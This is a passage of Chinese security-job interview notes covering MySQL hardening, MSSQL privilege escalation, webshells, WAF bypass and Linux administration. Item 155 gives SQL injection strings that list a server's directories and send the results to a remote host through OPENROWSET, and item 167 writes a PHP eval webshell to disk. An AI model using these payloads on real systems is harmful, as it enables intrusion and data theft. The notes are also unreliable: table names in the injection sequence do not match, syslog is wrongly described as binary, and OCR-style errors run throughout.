安全服务面试总结

154.mysql 安全要如何做？

Mysql 账户权限安全

第 61 页 共 152 页 Mysql 数据的网络安全配置

密码策略安全

Mysql 日志

Mysql 数据库服务所在主机安全配置部署 SQL 注入检测、防御模块

mysqld 安全相关启动选项

mysql 备份策略

155.sqlserver public 权限要如何提权？

注入点执行

aaa.com x.asp?id=123;create table %23%23dhtemq (list int not null

identity (1,1), dirtree nvarchar(500),num1 nvarchar(500),num2

nvarchar(500))

注入点执行

aaa.com x.asp?id=123;insert into %23%23dhtemq(dirtree,num1,num2)

exec master.dbo.xp_dirtree [d:/] ,1,1;--

注入点执行

aaa.com x.asp?id=123;insert into OPENROWSET

('sqloledb','server=xx.xx.xx.xx,1433;Initial

Catalog=master;uid=sa;pwd=woshinidie','select dirtree,num1,num2

from dhtemq') select dirtree,num1,num2 from ##dhtemqxx.xx.xx.xx 执行

select * from dhtemq

--建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表

#-----为本地临时表

##----为全局临时表

create table ##nonamed(

dir ntext,

num int

)

--调用存储过程把执行回来的数据存到临时表里面

insert ##nonamed execute master..xp_dirtree 'c:/',1

第 62 页 共 152 页 --然后采用 openrowset 函数把临时表的数据导到本地 MSSQL 的 dirtree

表里面了

insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select *

from Northwind.dbo.dirtree') select * from ##nonamed

以上方法,也就是说 public 可以遍历用户服务器的目录

在 NBSI 中，只要把临时表名加前加##就可以了，但要注意 URL 转码，即

写成：%23%23nonamed 就 OK 了！

156.简述 Linux 系统安全加固需要做哪些方面？

1.密码安全策略

2.关闭不必要的端口和服务

3.文件权限的设置等

157.你使用什么工具来判断系统是否存在后门？

pchunter 攻击查看进程和服务

160.Linux 的 Selinux 是什么？如何设置 Selinux？

SELinux 是一种安全子系统，它能控制程序只能访问特定文件

使用 setup 工具进入图形化关闭搜索或者修改/etc/sysconfig/selinux 文件

SELINUX=disabled

防火墙打开使用 service iptables start 或则/etc/init.d/iptables start

161.iptables 工作在 TCP/IP 模型中的哪层？

网络层

162.syslog 里面都有哪些日志？安装软件的日志去哪找？

如何查询 ssh 的登录日志？

cd /var/log

less secure

163.syslog 可不可以使用 vi 等工具直接查看？是二进制文件吗？

不能，只能使用 cat 之类的命令攻击查看，属于二进制文件

第 63 页 共 152 页 164.DNS 在渗透中的作用？

通过 DNS 可以查询对应的 IP 主机名，也可以查询出是否存在域传输漏洞

165、为什么 aspx 木马权限比 asp 大？

aspx 使用的是.net 技术。IIS 中默认不支持，ASP 只是脚本语言而已。入侵的时候 asp 的

木马一般是 guest

权限…APSX 的木马一般是 users 权限。

166.如何绕过 waf？

大小写转换法

干扰字符 /!/

编码 base64 unicode hex url ascll

复参数

167.如何向服务器写入 webshell？

各种上传漏洞

mysql 具有写入权限,用 sql 语句写入 shell：

select '一句话' into outfile '路径'

select '一句话' into dumpfile '路径'

select ' <?php eval($_POST[1]) ?> ' into dumpfile '路劲.muma.php';

http put 方法

168、了解编辑器漏洞吗？

# 其实还是文件上传漏洞

1- FCKeditor 编辑器

2- EWEbeditor 编辑器

3- DotNetTextBox 编辑器

4- Kedit 编辑器

5- Cute Editor 在线编辑器

#这个问题基本回答个两三个就可以

169、文件包含都有哪些伪协议？

第 64 页 共 152 页 file:// 访问本地文件系统

http:// 访问 HTTPs 网址

ftp:// 访问 ftp URL

Php:// 访问输入输出流

Zlib:// 压缩流

Data:// 数据

Ssh2:// security shell2

Expect:// 处理交互式的流

Glob:// 查找匹配的文件路径

170、正向 shell 与反向 shell 的区别

正向 Shell：攻击者连接被攻击者机器，可用于攻击者处于内网，被攻击者处于公网的情况。

反向 Shell：被攻击者主动连接攻击者，可用于攻击者处于外网，被攻击者处于内网的情况。

正向代理即是客户端代理,

代理客户端,

服务端不知道实际发起请求的客 户端.

反向代理即是服务端代理,

代理服务端,

客户端不知道实际提供服务的服 务端

面试问题大汇总

常规性问题